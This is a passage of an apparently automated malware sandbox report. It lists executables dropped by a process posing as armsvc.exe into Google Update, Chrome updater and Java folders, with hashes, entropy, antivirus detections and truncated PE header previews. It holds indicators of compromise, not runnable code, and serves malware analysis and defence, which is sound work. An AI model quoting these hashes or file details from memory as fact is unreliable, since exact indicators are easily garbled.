File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1669632
Entropy (8bit):	5.069203119438947
Encrypted:	false
SSDEEP:	24576:Ux7YiBLZ05jNTmJWExj/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:UxUiHIjNgjLNiXicJFFRGNzj3
MD5:	1B8817EFF563851DCE02E1E6DEE55BB1
SHA1:	B3C9B8D6002B6B860AA0328B730482842D895711
SHA-256:	C24179518989CD3BEF44ED9FBE9551266706E93C9EB19D53D190408DBDFF047A
SHA-512:	10EB6878874EBFF4E9584DBBAC44AD38163C218AA647F022440F5397AB49FE1B4DFF7B5075AC58FD47C51B0CBA519809E89C11394A09BE897A329BE176225752
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4rv.4rv.4rv. .u.>rv. .s..rv. .r.&rv.V.r.!rv.V.u.,rv.V.s..rv. .w.?rv.4rw..rv..r.&rv..s.0rv....5rv..t.5rv.Rich4rv.................PE..L.....d............................^.............@...........................%.....Y...........................................x...................................L...T............................4..@...................,........................text...,........................... ..`.rdata..:(.......*..................@..@.data............t..................@....rsrc................:..............@..@.reloc.......0......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1574912
Entropy (8bit):	5.027359293706216
Encrypted:	false
SSDEEP:	24576:ElnRkld6fgJcEwixh/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:gokfgJcEwChLNiXicJFFRGNzj3
MD5:	F10E046C09F70C6B72C18BA346A150E4
SHA1:	23B831A830A2494B0C064096DA335464849C44FD
SHA-256:	22AD0CAD42A3028796B11E70E6489BA80E28DB9924EF29CE173E5798FDA8DD40
SHA-512:	25FEDE02F26234FA1A0010C890A5D29069B2CC88B835507E74565E0DE5BAB326535743AF8FEBE292041E5D3D7D5CB071CE085D4D9B151334254E80F19E912ECF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\|../../../L...../L...8./+...../+...../+...../L...../L...../../4./..../.s/../..../Rich../........................PE..L...A..d.............................s............@...........................#......B......................................<........P...2..............................T...........................8...@............................................text............................... ..`.rdata...%.......&..................@..@.data...d(... ......................@....rsrc....2...P...4..................@..@.reloc...............H..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1677824
Entropy (8bit):	5.084990338798479
Encrypted:	false
SSDEEP:	24576:eWR5k8hb0Haw+xR/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:eWLk8SHawmRLNiXicJFFRGNzj3
MD5:	4F59D110799E64365FB4B5348D220CF0
SHA1:	D39AD96F76D9981AE3B9A0416CAB1065BD874E0B
SHA-256:	799D3BCF91156DC35F676A9CDDBD3C0D258285F594915609080D22C8AAEAC2D5
SHA-512:	87AD5CFE4EBF655DC07B6B64AD4D47F02D6BF002598E6C24373A53DD4A37E70E18E20D408595340C76F18586920C1300911983693185DBA6FD10512BDC42DFE5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v.s.%.s.%.s.%...$ms.%...$.s.%...$.s.%...$.s.%...$.s.%...$.s.%...$.s.%.s.%xr.%...$.s.%...%.s.%...$.s.%Rich.s.%................PE..d...X..d.........."..........R......L..........@..............................$........... ..................................................M....... ...2.......,................... ..T............................ ..................(............................text............................... ..`.rdata..............................@..@.data....6...p.......X..............@....pdata...,...........j..............@..@_RDATA..............................@..@.gxfg...0...........................@..@.gehcont............................@..@.rsrc....2... ...4..................@..@.reloc...p...`......................@...........................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1437696
Entropy (8bit):	4.700943846932461
Encrypted:	false
SSDEEP:	24576:wkCKABp/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:wxKkpLNiXicJFFRGNzj3
MD5:	78484D01C84E95A6FA1581BB1E880948
SHA1:	57F9F5A3A9ACAF273F0FA73F59ED7B9632EE815A
SHA-256:	7E77E9646832D8E8CE9FF42385204E306966AEDD4B6998E05A2C56EB12E83F3B
SHA-512:	DE7580D0D23CAE10BABCCEF5A298CA8152CB92DCE71016C4D64D52E676BD44974E9108065E0028472F48E327C36C0251DAA69FC7D032A48C2D6F4CB173FAD7C3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;...U..U..U.M.V..U.M.P...U.M.Q..U..Q..U..V..U.*.P..U.M.T..U..T...U..\..U....U.....U..W..U.Rich..U.........PE..L...9..d.................D..........Ru.......`....@........................... .....[.......................................P...x....... ...........................p[..T............................[..@...............L............................text....B.......D.................. ..`.data...x....`.......H..............@....idata...............R..............@..@.rsrc... ............\..............@..@.reloc...p...........@..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1383936
Entropy (8bit):	4.6808704471269555
Encrypted:	false
SSDEEP:	24576:AjNWBPa/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:SNmyLNiXicJFFRGNzj3
MD5:	F0DB49F2F1C857BCD3628624905D7103
SHA1:	73593FA7F5C36AB006E07A43A00139D0656BDCA3
SHA-256:	490DD7F89309CEE1C758181470C767F5F10C929C772BF6C2605EED353345A389
SHA-512:	0B0E722DD30EFF7068BC73A56E969C7B588542639B87D76964D6F19A0FC168A270AA7D726815A1441849C9E1EC33ED6FEA9C72DFC11C9A3E8C48BB67F827FAD9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z..[..Z..[L..Z..[..Zu.[.Zu.[..Zu.[..Z..[..Z...Z...Z..[...Z..]Z...Z..5Z...Z..[...ZRich...Z........................PE..L...:..d..........................................@........................... ......(.......................................5..<....`..p2...........................+..T...........................X+..@............................................text...h........................... ..`.rdata...\.......^..................@..@.data........@.......0..............@....rsrc...p2...`...4...:..............@..@.reloc...p...........n..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1458176
Entropy (8bit):	4.778597871587847
Encrypted:	false
SSDEEP:	24576:EijRyhdsRrI/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:EijsoRILNiXicJFFRGNzj3
MD5:	A7AF7A01A549312BB3F5BA2E469340E0
SHA1:	D93DF3CCA2A48B3DCF6B7B76325B7ADE61E753AA
SHA-256:	E680E6E0B38F9E7131EAD95B20E3CE3DB212BA766F11F69CAED0CE2777E62C21
SHA-512:	CFBA5019A622A489018611F9FB9EDFA2863E927A6F8B866DE7EE397BD2B2DAB8DA897C6499B0676C70268EEC5F6A7C60D1EF774E81475A3FB6C720190A5F8DA9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...X..X..X..~...X..~..X...2..X...2..X...2...X...3..X..~..X..~..X..X..?Y...3..X...3..X..Rich.X..........PE..d...A..d.........."......R...z.......R.........@..............................!........... ..................................................p..x....................................V..T...........................0W...............p...............................text....P.......R.................. ..`.rdata.......p.......V..............@..@.data...x3...........d..............@....pdata...............t..............@..@_RDATA..............................@..@.gxfg...............................@..@.gehcont............................@..@.reloc...`... ......................@...........................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1498112
Entropy (8bit):	4.895431685230195
Encrypted:	false
SSDEEP:	24576:l16DmRF+wpx/Qafv/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:MmRF+wn/JfvLNiXicJFFRGNzj3
MD5:	C5822B9F91A5D1C7A86E51EC41F8E58F
SHA1:	74E330380A29861D2489E5CAA28B9BEF9876F346
SHA-256:	601C5BE34A8C6FB93AE21836EADB835225EF630342B9ECB034DF585599D23DFA
SHA-512:	1A4F419A87D41BCC2888447CB10183BFDBB0FE76A4684F4142E55CB141620B535EBBE71E60B0974E86DC61E399965EECB5151DA4AA150E15E6A3AC4913DA1015
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|6..8W..8W..8W...%..6W...%...W...=...W...=...W...=..{W...%.. W...%..#W..8W...V..L<...W..L<s.9W..L<..9W..Rich8W..................PE..L...Y..d.....................r....................@...........................!......................................................0...2..............................T...........................h...@............................................text...e........................... ..`.rdata..b...........................@..@.data....'..........................@....rsrc....2...0...4..................@..@.reloc.......p......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1383936
Entropy (8bit):	4.680834677021535
Encrypted:	false
SSDEEP:	24576:nE21BPt/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:E2bVLNiXicJFFRGNzj3
MD5:	AE06F5E0FEC7D4EF1C3DE948218513DC
SHA1:	684ACCF6C89DA805D92F61D84E8803B0133FBF71
SHA-256:	1D618FDD02FD290C8E56A83C67B2EDE34DFFE8DCB36BF9D3EDF02A5ED5C08F67
SHA-512:	D9EC943D015695C21D542B864E69506D234BCC0290EB175A312BD7B069BE49DB02EA2CD4799E0EB646F8CA79233C138B1D1008FF1E0738F3257D06809E306721
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............Z...Z...Z..[..Z..[L..Z..[..Zu.[.Zu.[..Zu.[..Z..[..Z...Z...Z..[...Z..]Z...Z..5Z...Z..[...ZRich...Z........................PE..L...;..d..........................................@........................... ..............................................5..<....`..p2...........................+..T...........................h+..@............................................text...h........................... ..`.rdata...\.......^..................@..@.data........@.......0..............@....rsrc...p2...`...4...:..............@..@.reloc...p...........n..............@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2151936
Entropy (8bit):	7.985856588637768
Encrypted:	false
SSDEEP:	49152:CskVX3lfrFfR0BecCqKBs+4o8YhAWLNiXicJFFRGNzj3:CPR1frZRpcTKX4U7wRGpj3
MD5:	2522E8C81BDAF17B16D7F1E4F91DD60F
SHA1:	9AE76A8C36344C6C671580872F141B847B7B05AB
SHA-256:	9E7D5DF42D9063245641E1FA4B536CE154BD61A28010F9433CFFF2BBC538ADBE
SHA-512:	B731297A7E9DDCB30EA4A9AADA38BE2ED295CBE951288962AED248E670B3F7DC8AE163BE7B5FDF5D6B57FE554122139E9610FCCC8A3DD5480D2DB4D842FEA151
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......4.....................@.............................@!......1!... ..................................................X..P...............\|....................W..............................PP..@............Z...............................text...&2.......4.................. ..`.rdata.......P.......8..............@..@.data...p....p.......N..............@....pdata..\|............P..............@..@.00cfg..0............T..............@..@.retplne.............V...................rsrc................X..............@..@.reloc.......P......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Google\Update\Install\{6BB58CDD-A64E-41C8-8D92-79A516D3D118}\117.0.5938.134_117.0.5938.132_chrome_updater.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2151936
Entropy (8bit):	7.9858569040174086
Encrypted:	false
SSDEEP:	49152:3skVX3lfrFfR0BecCqKBs+4o8YhAWLNiXicJFFRGNzj3:3PR1frZRpcTKX4U7wRGpj3
MD5:	AA703F55BA9E18206D8832E15528C683
SHA1:	0603FE18E0F9ADD00640E92123EFA8F86458801B
SHA-256:	732BB1D8556BAF1A8A491FDDB28AAEF35A85003C2CF68FEAA35D0DDF1F8342A3
SHA-512:	06EC90775F61C20DD61C523A8C96F19D4B3A6166833D850D95BC38297094AE8847A9A8C73C9E30BCB918616BF9E952106F888E2BF239D7A8D679671534ED5B3F
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......4.....................@.............................@!......;!... ..................................................X..P...............\|....................W..............................PP..@............Z...............................text...&2.......4.................. ..`.rdata.......P.......8..............@..@.data...p....p.......N..............@....pdata..\|............P..............@..@.00cfg..0............T..............@..@.retplne.............V...................rsrc................X..............@..@.reloc.......P......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1313792
Entropy (8bit):	4.567737630702455
Encrypted:	false
SSDEEP:	12288:PViJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:P5/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	E9C0F1C062241B775FF1617D05689A0C
SHA1:	052A29D147CAF86250D476C97E42DBABA0A7DA98
SHA-256:	9E3360EC004FC83DC819D7BF102BC5BF0205A726BB24EF23C83A7DA37F1C0328
SHA-512:	F3BD8928ACB2E10373762263B4CEC1478C18D84D52E5F118B98413155D7BC0E35EC80A04A3B05DEDB71B36E02784E0C6EF3D537C5954AA75553AF77BE3FBC34F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8.C.VWC.VWC.VWJ..WS.VW!.WVA.VW!.SV\.VW!.RVO.VW!.UVB.VWW.WVJ.VWC.WW!.VW.SVB.VW..WB.VW.TVB.VWRichC.VW........PE..L.....d.................8...6.......4.......P....@.........................................................................$i.......................................b..T............................a..@............P...............................text....7.......8.................. ..`.rdata...#...P...$...<..............@..@.data...L............`..............@....rsrc................b..............@..@.reloc...`...........l..............@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.52884857486344
Encrypted:	false
SSDEEP:	12288:k2YiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:9q/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	F60FBF6F33C4AA573EC47E55E8CC3416
SHA1:	D8D5A04388845D92430858A50A1F9B6064E95E29
SHA-256:	80CC37BB84B992A8E7A1221313C70ED96C518C1B8C1A233FE1024E4FD461DFE6
SHA-512:	D278E39C03A7CC557EE8A0CDE2E13C81ED69A0D9AECDE6AC357F773E380AA750C4FF4DF6B0324951CAF1E46A704F870534F97E1D975BD7A756BC7996579741AA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................8........................................&.......@..d...........................h"..T............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0....... ..............@....rsrc...d....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	4.994900023712343
Encrypted:	false
SSDEEP:	24576:bpwOtO7H/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:bmOtmHLNiXicJFFRGNzj3
MD5:	352B56037ED5BF42745E58A214B65AE2
SHA1:	1358ADC2768A0E0953A9E39863B8CA64AC301151
SHA-256:	7D3C251E241069814D8043B292E00AADA14CCF5F5C235AB1F8197BB9D5C33621
SHA-512:	25AB506C99729A30F4BFB911089D400940A12F8BE0A9B93C0E68735188DB8F1905E95DB4D5ED9BA8AAC53175460740DDFF952629C269622E16B23EB23E5CBAF4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..F<...<...<...(..3...(......(......^.F.;...^......^......^..)...(..5...<...N......3.....D.=......=...Rich<...........................PE..L.....d.................N...t....../........`....@..........................P".....mN.......................................!..d....P..............................P...T...............................@............`...............................text...\M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc........P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1368064
Entropy (8bit):	4.635819287267484
Encrypted:	false
SSDEEP:	24576:01u/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:0QLNiXicJFFRGNzj3
MD5:	9E4D1D65774446CEAC37E7B14DA78E19
SHA1:	98C652C74DAC1D71C79F3F22A0B2D91688A5CE21
SHA-256:	2672BC0E6763E92A506AC66A2D3508AC53A531A9144646470F44B31CE876A1EC
SHA-512:	2E4ECB4CB39926B999BBB79368F3E12842C042F98B9C81860C5E924236DB2AEE6771156AEAA752A944046964982CD1F3C6B1DCA2EDDB7297A0F551789E173D4C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......VT.f.5.5.5.5.5.5.M\5.5.5pM.4.5.5pM.4.5.5pM.4.5.5.^.4.5.5.5.5.5.5pM.455.5.L.4.5.5.L05.5.5.L.4.5.5Rich.5.5........................PE..L.....d.................P...........K.......`....@..................................J......................................8...@......................................T...............................@............`...............................text....O.......P.................. ..`.rdata...g...`...h...T..............@..@.data...@...........................@....rsrc...............................@..@.reloc...`...p.......@..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	4.995587337285073
Encrypted:	false
SSDEEP:	24576:IKU/h/4KU/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Ir/VULNiXicJFFRGNzj3
MD5:	8BEBB4A3B0107376919D8CE777648ABB
SHA1:	DC18DEFDBFE35529BEEF1B66363451D48BCE858B
SHA-256:	3BE832D1D554CD5F5BEC94F32A31A0E6F16A519EA0006E775FB24E312CB7B95B
SHA-512:	0843490B6C86B75714F1BF702510529FBEFF8EB94A69C84A84AF057F01302924E3633527CE2A40247CAC2E0460DDD0E08C1A615D06BF23F6582FE2030901E512
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..#}..p}..p}..pi.qr..pi.q..pi.qo..p..}pz..p..qX..p..qo..p..qh..pi.qt..p}..p...p..qr..p...p\|..p..q\|..pRich}..p........................PE..L.....d.................N...t......7........`....@..........................P".....Y........................................!..d....P.............................P...T...............................@............`...............................text....M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc.......P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1669632
Entropy (8bit):	5.069202713461549
Encrypted:	false
SSDEEP:	24576:Ax7YiBLZ05jNTmJWExj/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:AxUiHIjNgjLNiXicJFFRGNzj3
MD5:	D4748E5EFB96960B70389676B809EB4F
SHA1:	EC8C07FF749A0A6E8A5D8CF580DB6F4B2D975033
SHA-256:	ACAF4F428134C591460B05A44AC918786BBF11690A6C7A9AF140AC49906F3420
SHA-512:	87D93A0EF60A788DF3B21778B4FDE87059EB083649F082ABB296D17A4446C26B52B2757C4011F1F7C12FC984B18E429F176E0126A92E7C8AC76F6DD310BC7934
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4rv.4rv.4rv. .u.>rv. .s..rv. .r.&rv.V.r.!rv.V.u.,rv.V.s..rv. .w.?rv.4rw..rv..r.&rv..s.0rv....5rv..t.5rv.Rich4rv.................PE..L.....d............................^.............@...........................%.....dQ..........................................x...................................L...T............................4..@...................,........................text...,........................... ..`.rdata..:(.......*..................@..@.data............t..................@....rsrc................:..............@..@.reloc.......0......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529288305371961
Encrypted:	false
SSDEEP:	12288:oorIiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:zu/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	F31DACF8D9F1689A420268AA335C0969
SHA1:	3C42CE0E7DDB1C4A39EBB6E4474947C01E05CE3A
SHA-256:	28CCBE3ECF5F750B3AB6DB5D5E4E4A0AC38D7B2B4886185B3D1CBA147DD1624E
SHA-512:	56FFD19AA7F0AFD6409108EDEAA59AD4C429A7ED5FEAA591DB6CE5A5189248D69834BEEC1334488F1092F778E05B92F8CCC60F1E2A2AB721B81B1B58E1F0F498
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................y$.......................................&.......@..H............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...H....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1397760
Entropy (8bit):	4.695173545067193
Encrypted:	false
SSDEEP:	24576:6dP/l/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:u9LNiXicJFFRGNzj3
MD5:	D7F6B8A436E10C8FEE55A8E659376E42
SHA1:	D3306FB922A9AD193EC3DE4AFB4D7F62538994ED
SHA-256:	354AD431593B3545F3CEBAD1BF47F7115DF677C93B9364EE06B58BE68A75037F
SHA-512:	3FB8C196992E5C88324F33F9AF22E3CA1C24C47E5853A6CA2BF2696C1F5E881C91BC7C0897A8E679A61F7F454320903D90138D0BBC6EF0130D2277BCC6818A2D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.$x..wx..wx..wq.uwn..wl..vp..w...v}..w...vu..w...v{..wx..w...w...v_..w...vy..w...vs..w...wy..w...vy..wRichx..w........PE..L...}.d..........................................@..........................` .....T...........................................h...................................`v..T............................u..@............................................text............................... ..`.rdata..R...........................@..@.data...P2..........................@....rsrc...............................@..@.reloc...p..........................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529320242418043
Encrypted:	false
SSDEEP:	12288:5Z5wiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:H0/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	4893FD22ECE0D5B5B08E7D5F02A9629B
SHA1:	14F05FEE35226CCA4CCFDDAA29608CEC5C8E35FA
SHA-256:	8925A1AC30F7FEF29592BFABDE891B4827ABB9F8EB52BB214D900758E413CA84
SHA-512:	926DD37D9D525A1F0CED80B2B4BA23795B669DA381650799B6AAE11637FB2D0541E5B1E0E5CDADAE2CD399BE38F28AEC00E9623F5F5517DB0642DC98C081019A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................CG.......................................&.......@..\............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...\....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529374971331607
Encrypted:	false
SSDEEP:	12288:9ZlYiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:34/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	FDDA6D84C588A3DA8E4F6978226808D8
SHA1:	A075FC0DE4C370D542878B72596EB775E4BE8E20
SHA-256:	1A8149D5466D0753E5E7D883B08F13C40E80DECD9C2A4514F18479FC780B999E
SHA-512:	2FC6D5162902387BA2615B92849F43D98771636793EA4094B29D0507E849B702180233478699131551A968169CEAEC448535D6B4575CE4AD6EEFC799BAD58EE1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..T............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...T....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.529374707106074
Encrypted:	false
SSDEEP:	12288:uNlYiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Q4/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	1960889C56479F2538F5002124449F50
SHA1:	E47F4020B49050B0194EC1C4904514A294A10C51
SHA-256:	2F75C33539037BF0197AA0A2A9E5F10BE3B7DE75411BA382012E5D9F66316706
SHA-512:	F5AF762C2D7BEA88C36C5B1EA9629E1D2FB403DBE2E5A7EFF40939A661B6D7F56BB728A98C225BAE20381C14767D02363C5219260FD289FA1BA7824582CC8780
Malicious:	true
